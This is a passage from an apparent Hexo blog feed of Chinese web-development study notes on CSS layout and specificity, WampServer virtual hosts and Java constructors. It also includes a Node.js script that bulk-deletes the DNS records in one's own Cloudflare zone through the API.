class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">&lt;!<span class="variable constant_">DOCTYPE</span> html&gt;</span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">    <span class="tag">&lt;<span class="name">title</span>&gt;</span><span class="tag">&lt;/<span class="name">title</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">    <span class="tag">&lt;<span class="name">style</span> <span class="attr">type</span>=<span class="string">&quot;text/css&quot;</span>&gt;</span><span class="language-css"></span></span></span><br><span class="line"><span class="language-css"><span class="language-xml">        <span class="selector-class">.box</span> &#123;</span></span></span><br><span class="line"><span class="language-css"><span class="language-xml">            <span class="attribute">width</span>: <span class="number">100px</span>;</span></span></span><br><span class="line"><span class="language-css"><span class="language-xml">            <span class="attribute">height</span>: <span class="number">100px</span>;</span></span></span><br><span class="line"><span class="language-css"><span class="language-xml">            <span class="attribute">background</span>: <span class="number">#5aa878</span>;</span></span></span><br><span class="line"><span class="language-css"><span class="language-xml">            <span class="attribute">margin</span>: <span class="number">50px</span>;</span></span></span><br><span class="line"><span class="language-css"><span class="language-xml">        &#125;</span></span></span><br><span class="line"><span class="language-css"><span class="language-xml">        <span class="selector-class">.container</span> &#123;</span></span></span><br><span class="line"><span class="language-css"><span class="language-xml">            <span class="attribute">overflow</span>: hidden;</span></span></span><br><span class="line"><span class="language-css"><span class="language-xml">        &#125;</span></span></span><br><span class="line"><span class="language-css"><span class="language-xml">    </span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&#x27;container&#x27;</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;box&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">    <span class="comment">&lt;!-- &lt;div class=&quot;container&quot;&gt; --&gt;</span></span></span><br><span class="line"><span class="language-xml">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;box&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">    <span class="comment">&lt;!-- &lt;/div&gt; --&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span></span><br></pre></td></tr></table></figure><p><em><strong>(2) BFC 可以包含浮动的元素（清除浮动影响 方式之一）</strong></em><br>这也正是上面使用 overflow: hidden 与 overflow: auto 方法闭合浮动的原理，使用 overflow: hidden 或 overflow: auto 触发浮动元素父元素的 BFC 特性，从而可以包含浮动元素，闭合浮动。</p><p>W3C 的原文是“’Auto’ heights for block formatting context roots”，也就是 BFC 会根据子元素的情况自动适应高度，即使其子元素中包括浮动元素。</p><p>但是 IE6-7 并不支持 W3C 的 BFC ，而是使用自产的 hasLayout 。从表现上来说，它跟 BFC 很相似，只是 hasLayout 自身存在很多问题，导致了 IE6-7 中一系列的 bug 。触发 hasLayout 的条件与触发 BFC 有些相似，具体情况 Kayo 会另写文章介绍。这里 Kayo 推荐为元素设置 IE 特有的 CSS 属性 zoom: 1 触发 hasLayout ，zoom 用于设置或检索元素的缩放比例，值为“1”即使用元素的实际尺寸，使用 zoom: 1 既可以触发 hasLayout 又不会对元素造成其他影响，相对来说会更为方便。</p><p><em><strong>(3) BFC 可以阻止元素被浮动元素覆盖</strong></em><br>浮动元素的block兄弟元素会无视浮动元素的位置，尽量占满一整行，这样该block元素就会被浮动的兄弟元素遮盖，为 该block兄弟元素 触发 BFC 后可以阻止这种情况的发生。</p>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> css </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Css选择器优先级与权重</title>
      <link href="/posts/css-xuan-ze-qi-you-xian-ji-yu-quan-chong/"/>
      <url>/posts/css-xuan-ze-qi-you-xian-ji-yu-quan-chong/</url>
      
        <content type="html"><![CDATA[<h2 id="各种选择器-优先级"><a href="#各种选择器-优先级" class="headerlink" title="各种选择器 优先级"></a>各种选择器 优先级</h2><p>1.第一优先级：<code>!important</code>会覆盖页面内任何位置的元素样式，权值为 无穷大<br>2.内联（行内）样式，如<code>style=&quot;color: green&quot;</code>，权值为1,0,0,0<br>3.ID选择器，如#app，权值为0,1,0,0<br>4.类、伪类、属性选择器，如<code>.foo, :first-child, div[class=&quot;foo&quot;]</code>，权值为0,0,1,0<br>5.标签、伪元素选择器，如<code>div::first-line</code>，权值为0,0,0,1<br>6.通配选择器，如<code>*&#123;&#125;</code>，权值为0,0,0,0<br>7.继承 的样式没有权值。（补充，<code>&lt;td align=&quot;right&quot;&gt;</code>，<code>&lt;img width=&quot;10&quot;&gt;</code>等标签 属性的 自带样式，优先级 不高于 继承样式）</p><h2 id="权重-计算规则"><a href="#权重-计算规则" class="headerlink" title="权重 计算规则"></a>权重 计算规则</h2><p><em>【重要：以上数字，非 十进制！eg：0,0,0,5+0,0,0,6&#x3D;0,0,0,11 小于0,0,1,1】</em><br>在层级选择器（子代，后代，兄弟，通用兄弟选择器）中。被 多类 选择器 选中的某元素，计算权重时， 分类别、按个数 分别相加 计算权重。总权重 相等 时，还要考虑 样式的 继承性、后来居上 等特性。<br>一般情况下，只从中直接选取 最高优先级 的 选择器类别 按个数计算大概权重，即可。<br>行内（内联）样式：<code>&lt;div style=&quot;color:red;&quot;&gt;</code><br>外部样式：<code>&lt;link&gt;</code>或<code>@import</code>引入<code>.css文件</code><br>内部（内嵌）样式：<code>&lt;style&gt;</code>中嵌入代码</p><h2 id="需注意："><a href="#需注意：" class="headerlink" title="需注意："></a>需注意：</h2><p>1.权重相同的情况下，位于后面的样式会覆盖前面的样式<br>2.通配符、子选择器、兄弟选择器，虽然权重为0,0,0,0，但是优先于继承的样式<br>3.对于 同一类别 的选择器，要分类别、个数相加 计算 最终权重！</p>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> css </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CF区域DNS批量删除</title>
      <link href="/posts/cf-qu-yu-dns-pi-liang-shan-chu/"/>
      <url>/posts/cf-qu-yu-dns-pi-liang-shan-chu/</url>
      
        <content type="html"><![CDATA[<h5 id="注意："><a href="#注意：" class="headerlink" title="注意："></a>注意：</h5><blockquote><p><strong>1.默认 每次删除100条dns记录</strong><br><strong>2.只有 Authorization（API 令牌）；或X-Auth-Email和X-Auth-Key（全局 API 密钥）同时</strong><br><strong>3.注意分配给apiToken的 细粒度权限</strong></p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">const axios = require(&#x27;axios&#x27;);</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">// 替换为你的Cloudflare API Token和Zone ID</span><br><span class="line">const apiToken = &#x27;xxxxxxxxxxxxxxxxx&#x27;;</span><br><span class="line">const zoneId = &#x27;xxxxxxxxxxxxxxxxxxx&#x27;;</span><br><span class="line"></span><br><span class="line">// 设置请求头</span><br><span class="line">const headers = &#123;</span><br><span class="line">  &#x27;Authorization&#x27;: `Bearer $&#123;apiToken&#125;`,</span><br><span class="line">// &#x27;X-Auth-Email&#x27;:&#x27;xxxxxxxx@gmail.com&#x27;,</span><br><span class="line">// &#x27;X-Auth-Key&#x27;:&#x27;xxxxxxxxxxxxxxxxxxx&#x27;,</span><br><span class="line">  &#x27;Content-Type&#x27;: &#x27;application/json&#x27;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><span id="more"></span><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">// 获取DNS记录的URL</span><br><span class="line">const url = `https://api.cloudflare.com/client/v4/zones/$&#123;zoneId&#125;/dns_records`;</span><br><span class="line"></span><br><span class="line">// 获取DNS记录并删除</span><br><span class="line">axios.get(url, &#123; headers &#125;)</span><br><span class="line">  .then(response =&gt; &#123;</span><br><span class="line">    const dnsRecords = response.data.result;</span><br><span class="line">      const deletePromises = dnsRecords.map(record =&gt; &#123;</span><br><span class="line">      console.log(`Attempting to delete record: $&#123;record.name&#125;`);</span><br><span class="line">      return axios.delete(`$&#123;url&#125;/$&#123;record.id&#125;`, &#123; headers &#125;)</span><br><span class="line">        .then(() =&gt; &#123;</span><br><span class="line">          console.log(`Deleted record: $&#123;record.name&#125;`);</span><br><span class="line">        &#125;)</span><br><span class="line">        .catch(error =&gt; &#123;</span><br><span class="line">          console.error(`Failed to delete record: $&#123;record.name&#125;`, error.response ? error.response.data : error.message);</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;); </span><br><span class="line">return Promise.all(deletePromises);</span><br><span class="line">  &#125;)</span><br><span class="line">  .then(() =&gt; &#123;</span><br><span class="line">    console.log(&#x27;Batch deletion completed.&#x27;);</span><br><span class="line">  &#125;)</span><br><span class="line">  .catch(error =&gt; &#123;</span><br><span class="line">    console.error(&#x27;Failed to fetch DNS records:&#x27;, error.response ? error.response.data : error.message);</span><br><span class="line">  &#125;);</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CF </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Inline-Block间隙消除</title>
      <link href="/posts/inline-block-jian-xi-xiao-chu/"/>
      <url>/posts/inline-block-jian-xi-xiao-chu/</url>
      
        <content type="html"><![CDATA[<div class="tip cogs"><p>float元素之间是没有间距的。inline-block兄弟元素之间，如何像flaot元素那样，去掉inline-block元素间的间隙？</p></div><h2 id="方法一：父元素设置font-size为0，子元素单独再设置字体大小"><a href="#方法一：父元素设置font-size为0，子元素单独再设置字体大小" class="headerlink" title="方法一：父元素设置font-size为0，子元素单独再设置字体大小"></a>方法一：父元素设置font-size为0，子元素单独再设置字体大小</h2><h2 id="方法二：设置字符间距letter-spacing，或单词间距word-spacing"><a href="#方法二：设置字符间距letter-spacing，或单词间距word-spacing" class="headerlink" title="方法二：设置字符间距letter-spacing，或单词间距word-spacing"></a>方法二：设置字符间距letter-spacing，或单词间距word-spacing</h2><p>这个方法的原理有点像一所用的font-size，具体做法是给父元素一个letter-spacing或者word-spacing的负值（稍微大一点，比如 -6px），子元素再调整为0即可，具体使用字符间距还是单词间距其实大同小异。</p><h2 id="方法三：直接采用使用Flex或float布局（这样处理的三栏式布局没必要用inline-block）"><a href="#方法三：直接采用使用Flex或float布局（这样处理的三栏式布局没必要用inline-block）" class="headerlink" title="方法三：直接采用使用Flex或float布局（这样处理的三栏式布局没必要用inline-block）"></a>方法三：直接采用使用Flex或float布局（这样处理的三栏式布局没必要用inline-block）</h2><h2 id="方法四：设置margin-right为负值"><a href="#方法四：设置margin-right为负值" class="headerlink" title="方法四：设置margin-right为负值"></a>方法四：设置margin-right为负值</h2><p>用margin负值来抵掉元素间的空白，不过margin负值的大小与上下文的字体和文字大小相关，并且同一大小的字体，元素之间的间距在不同浏览器下是不一样的，如：font-size:16px时，Chrome下元素之间的间距为8px,而Firefox下元素之间的间距为4px。所以这个方法并不通用，也相对比较麻烦，因此不太推荐使用。</p><div class="tip cogs"><p>以下方式不规范，不推荐！！！</p></div><h2 id="方法五（通过修改html格式）："><a href="#方法五（通过修改html格式）：" class="headerlink" title="方法五（通过修改html格式）："></a>方法五（通过修改html格式）：</h2><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">ul</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">li</span>&gt;</span>one&lt;/li  </span><br><span class="line">    &gt;<span class="tag">&lt;<span class="name">li</span>&gt;</span>two&lt;/li  </span><br><span class="line">    &gt;<span class="tag">&lt;<span class="name">li</span>&gt;</span>three<span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">ul</span>&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- or --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ul</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">li</span>&gt;</span>one<span class="tag">&lt;/<span class="name">li</span>&gt;</span><span class="comment">&lt;!--  </span></span><br><span class="line"><span class="comment">    --&gt;</span><span class="tag">&lt;<span class="name">li</span>&gt;</span>two<span class="tag">&lt;/<span class="name">li</span>&gt;</span><span class="comment">&lt;!--  </span></span><br><span class="line"><span class="comment">    --&gt;</span><span class="tag">&lt;<span class="name">li</span>&gt;</span>three<span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">ul</span>&gt;</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> css </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Absolute探讨</title>
      <link href="/posts/absolute-tan-tao/"/>
      <url>/posts/absolute-tan-tao/</url>
      
        <content type="html"><![CDATA[<p>文章本来写完了，正发布时网站崩溃了。自动保存个球。还有插图全没了！！！</p><h2 id="亲测，直接上重点总结：：："><a href="#亲测，直接上重点总结：：：" class="headerlink" title="亲测，直接上重点总结：：："></a>亲测，直接上重点总结：：：</h2><p>1.兄弟元素中间，至少一个absolute。该absolute元素 相对于 最近的外层（父、祖先级元素）relative定位，没有就直接相对于窗口定位。给方向后，让去哪里才去哪里。没有指定方向时，原地悬浮，纹丝不动！！！</p><p>2.祖父relative，【父 无论relative，还是absolute】。子元素absolute。该absolute子元素 相对于 父级 定位。</p><p>3.祖父relative，【父 不设置position】。子元素absolute。此情况 同上1.<br>该absolute子元素 相对于 祖父级 定位。</p>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> css </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Audio控件插入</title>
      <link href="/posts/audio-kong-jian-cha-ru/"/>
      <url>/posts/audio-kong-jian-cha-ru/</url>
      
        <content type="html"><![CDATA[<div class="tabs" id="安知鱼audio嵌入"><ul class="nav-tabs"><button type="button" class="tab " data-href="安知鱼audio嵌入-1">Tag Plugins的audio</button><button type="button" class="tab  active" data-href="安知鱼audio嵌入-2">自定义标签</button></ul><div class="tab-contents"><div class="tab-item-content" id="安知鱼audio嵌入-1"><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;% audio 音频链接 %&#125;</span><br></pre></td></tr></table></figure><p><strong>效果：</strong></p><div class="audio"><audio controls preload><source src='https://api.i-meto.com/meting/api?server=netease&type=url&id=466794344&auth=e7271f8ddd3ba21e06cd210b53c0562248f94d25' type='audio/mp3'>Your browser does not support the audio tag.</audio></div></div><div class="tab-item-content active" id="安知鱼audio嵌入-2"><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 用法一（MetingJS API） --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">meting-js</span> <span class="attr">id</span>=<span class="string">&quot;2611181089&quot;</span> <span class="attr">server</span>=<span class="string">&quot;netease&quot;</span> <span class="attr">type</span>=<span class="string">&quot;song&quot;</span> <span class="attr">mutex</span>=<span class="string">&quot;true&quot;</span> <span class="attr">preload</span>=<span class="string">&quot;none&quot;</span> <span class="attr">theme</span>=<span class="string">&quot;var(--anzhiyu-main)&quot;</span> <span class="attr">data-lrctype</span>=<span class="string">&quot;0&quot;</span> &gt;</span><span class="tag">&lt;/<span class="name">meting-js</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 用法二（播放页面 链接） --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">meting-js</span> <span class="attr">auto</span>=<span class="string">&quot;https://music.163.com/playlist?id=13830672260&quot;</span> <span class="attr">mutex</span>=<span class="string">&quot;true&quot;</span>  <span class="attr">preload</span>=<span class="string">&quot;none&quot;</span> <span class="attr">data-lrctype</span>=<span class="string">&quot;0&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">meting-js</span>&gt;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>效果：</strong><br><meting-js id="2611181089" server="netease" type="song" mutex="true" preload="none" theme="var(--anzhiyu-main)" data-lrctype="0" ></meting-js></p><p><meting-js auto="https://music.163.com/playlist?id=13830672260" mutex="true" preload="none" data-lrctype="0" theme="var(--anzhiyu-main)"></meting-js></p></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="anzhiyufont anzhiyu-icon-arrow-up"></i></button></div></div>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> anzhiyu </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>流浪地球</title>
      <link href="/posts/liu-lang-di-qiu/"/>
      <url>/posts/liu-lang-di-qiu/</url>
      
        <content type="html"><![CDATA[<p>第二部不错，期待第三步！！</p><p><img src="https://imgbed.eamon.dpdns.org/file/1751279289846_%E6%B5%81%E6%B5%AA%E5%9C%B0%E7%90%83.webp" alt="流浪地球.webp"></p>]]></content>
      
      
      <categories>
          
          <category> 随笔 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 电影 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Wamp Server配置多站点</title>
      <link href="/posts/wamp-server-pei-zhi-duo-zhan-dian/"/>
      <url>/posts/wamp-server-pei-zhi-duo-zhan-dian/</url>
      
        <content type="html"><![CDATA[<p>先找到 需要修改的以下3个文件：</p><p>httpd.conf：D:\wamp\bin\apache\apache2.4.9\conf</p><p>httpd-vhosts：D:\wamp\bin\apache\apache2.4.9\conf\extra</p><p>hosts：C:\WINDOWS\System32\drivers\etc</p><span id="more"></span><p>1.修改 httpd.conf：(在文档中分别找到以下三句，把句首的注释符 ‘#’删掉)</p><p>LoadModule php5_module “d:&#x2F;wamp&#x2F;bin&#x2F;php&#x2F;php5.5.12&#x2F;php5apache2_4.dll”</p><p>PHPIniDir d:&#x2F;wamp&#x2F;bin&#x2F;php&#x2F;php5.5.12</p><p>Include conf&#x2F;extra&#x2F;httpd-vhosts.conf</p><p> </p><p> </p><p>2.修改 httpd-vhosts：</p><p>复制粘贴两个 以下模板</p><p>&lt;VirtualHost *:80&gt;<br>    ServerAdmin <a href="mailto:&#x77;&#x65;&#x62;&#109;&#97;&#x73;&#116;&#101;&#x72;&#x40;&#100;&#x75;&#109;&#x6d;&#121;&#45;&#104;&#111;&#115;&#x74;&#x32;&#46;&#101;&#x78;&#x61;&#109;&#x70;&#108;&#101;&#46;&#x63;&#111;&#x6d;">webmaster@dummy-host2.example.com</a><br>    DocumentRoot “c:&#x2F;Apache24&#x2F;docs&#x2F;dummy-host2.example.com”<br>    ServerName dummy-host2.example.com<br>    ErrorLog “logs&#x2F;dummy-host2.example.com-error.log”<br>    CustomLog “logs&#x2F;dummy-host2.example.com-access.log” common<br></VirtualHost></p><p>并修改其为：</p><p>&lt;VirtualHost *:80&gt;<br>    DocumentRoot  “D:&#x2F;wamp&#x2F;www&#x2F;demo&#x2F;site1”   &#x2F;&#x2F; 新站点，即site.com的根目录<br>    ServerName  localhost1.com      &#x2F;&#x2F; 新站点的域名<br>       &lt;Directory “e:&#x2F;PhpProject&#x2F;“&gt;<br>            Options Indexes FollowSymLinks<br>            AllowOverride all<br>            Require all granted<br>      </Directory><br></VirtualHost></p><p>&lt;VirtualHost *:80&gt;<br>    DocumentRoot  “D:&#x2F;wamp&#x2F;www&#x2F;demo&#x2F;site2”   <br>    ServerName  localhost2.com <br>       &lt;Directory “e:&#x2F;PhpProject&#x2F;“&gt;<br>            Options Indexes FollowSymLinks<br>            AllowOverride all<br>            Require all granted<br>      </Directory><br></VirtualHost></p><p> </p><p>。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。</p><p>为使 最初安装成功时 的localhost界面  继续生效(新建站点后，原来默认的localhost域名就会失效)：</p><p>在此还需要重新添加一个站点，</p><p>&lt;VirtualHost *:80&gt;<br>    DocumentRoot   “D:&#x2F;wamp&#x2F;www&#x2F;“    &#x2F;&#x2F; 此为wamp server 默认项目根目录<br>    ServerName   localhost<br></VirtualHost></p><p> </p><p> </p><p>还有一点！！！在我建好站 之后，再把所有的这些东西删掉 重启wamp server，3个站点都照样能正常工作。你们建站前先把它删掉试试！</p><p>   &lt;Directory “e:&#x2F;PhpProject&#x2F;“&gt;<br>            Options Indexes FollowSymLinks<br>            AllowOverride all<br>            Require all granted<br>      </Directory></p><p>3.修改 hosts(为新域名指定 127.0.0.1)：</p><p>这是win64位2.5版本wampserver的百度云链接：</p><p> <a href="https://pan.baidu.com/s/1llyy7yyJnrLvuGyskVVSsQ">https://pan.baidu.com/s/1llyy7yyJnrLvuGyskVVSsQ</a></p>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 工具 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java Class中的构造方法</title>
      <link href="/posts/java-class-zhong-de-gou-zao-fang-fa/"/>
      <url>/posts/java-class-zhong-de-gou-zao-fang-fa/</url>
      
        <content type="html"><![CDATA[<h3 id="构造方法-初始化对象成员-时调用的方法。"><a href="#构造方法-初始化对象成员-时调用的方法。" class="headerlink" title="构造方法:初始化对象成员 时调用的方法。"></a>构造方法:初始化对象成员 时调用的方法。</h3><p>1.方法名 和 类名完全相同<br>2.在方法名的前面没有返回值类型的声明<br>3.在方法中不能使用return语句返回一个值<br>4.当没有指定构造方法时，系统会自动添加无参的构造方法<br>5.当有指定构造方法时，无论该构造方法是有参，还是无参，系统都不会再自动添加无参的构造方法<br>6.构造方法的重载：方法名相同，但参数不同的多个方法，调用时会自动根据不同的参数选择相应的方法<br>7.构造函数 不能被继承(子类默认先自动调用父类的 无参构造方法)</p><span id="more"></span><h3 id="无参的构造方法"><a href="#无参的构造方法" class="headerlink" title="无参的构造方法"></a>无参的构造方法</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HelloWorld</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">Cat</span> <span class="variable">cat</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Cat</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Animal</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Animal</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;动物&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Cat</span> <span class="keyword">extends</span> <span class="title class_">Animal</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Cat</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>();<span class="comment">//有无均可，默认先调用父类构造方法</span></span><br><span class="line">        System.out.println(<span class="string">&quot;猫&quot;</span>);<span class="comment">//输出：动物 猫</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="有参的构造方法"><a href="#有参的构造方法" class="headerlink" title="有参的构造方法"></a>有参的构造方法</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HelloWorld</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">Cat</span> <span class="variable">cat</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Cat</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Animal</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Animal</span><span class="params">(String name)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;动物name：&quot;</span>+name);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Cat</span> <span class="keyword">extends</span> <span class="title class_">Animal</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Cat</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(<span class="string">&quot;喵星人&quot;</span>);</span><br><span class="line">        System.out.println(<span class="string">&quot;猫&quot;</span>);<span class="comment">//输出：动物name:喵星人    猫</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> java </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Js获取当前点击元素的索引</title>
      <link href="/posts/js-huo-qu-dang-qian-dian-ji-yuan-su-de-suo-yin/"/>
      <url>/posts/js-huo-qu-dang-qian-dian-ji-yuan-su-de-suo-yin/</url>
      
        <content type="html"><![CDATA[<p>以ul下的li元素为例；获取li的索引，代码如下：</p><p>&lt;ul id="list"&gt;<br>     &nbsp;&nbsp;&nbsp;&nbsp;&lt;li&gt;1&lt;/li&gt;<br>    &nbsp;&nbsp;&nbsp;&nbsp;&lt;li&gt;2&lt;/li&gt;<br>     &nbsp;&nbsp;&nbsp;&nbsp;&lt;li&gt;3&lt;/li&gt;<br>    &nbsp;&nbsp;&nbsp;&nbsp;&lt;li&gt;4&lt;/li&gt;<br>&lt;/ul&gt;</p><span id="more"></span><p>方法1：(自执行匿名函数法)</p><p>var ul &#x3D; document.getElementById(“list”);<br>var list &#x3D; ul.getElementsByTagName(‘li’);<br>for(var i&#x3D;0;i&lt;list.length;i++) {<br>  !function(j) {&#x2F;&#x2F; 匿名函数表达式1(j为该匿名函数形参)<br>     &#x2F;&#x2F; console.log(j); &#x2F;&#x2F;0,1,2,3<br>    list[j].onclick &#x3D; function() {&#x2F;&#x2F; 该匿名函数中 无参数！<br>       console.log(j); &#x2F;&#x2F; 点哪个输出哪个<br>      };<br>    }(i);&#x2F;&#x2F; 传入实参i,调用匿名函数<br>  }</p><p>方法2：(函数调用法)</p><p>function acti(ind) {<br>  list[ind].onclick &#x3D; function() {&#x2F;&#x2F; 该匿名函数中 无参数！<br>     console.log(ind); &#x2F;&#x2F; 点哪个输出哪个<br>  };<br>}<br>for(var 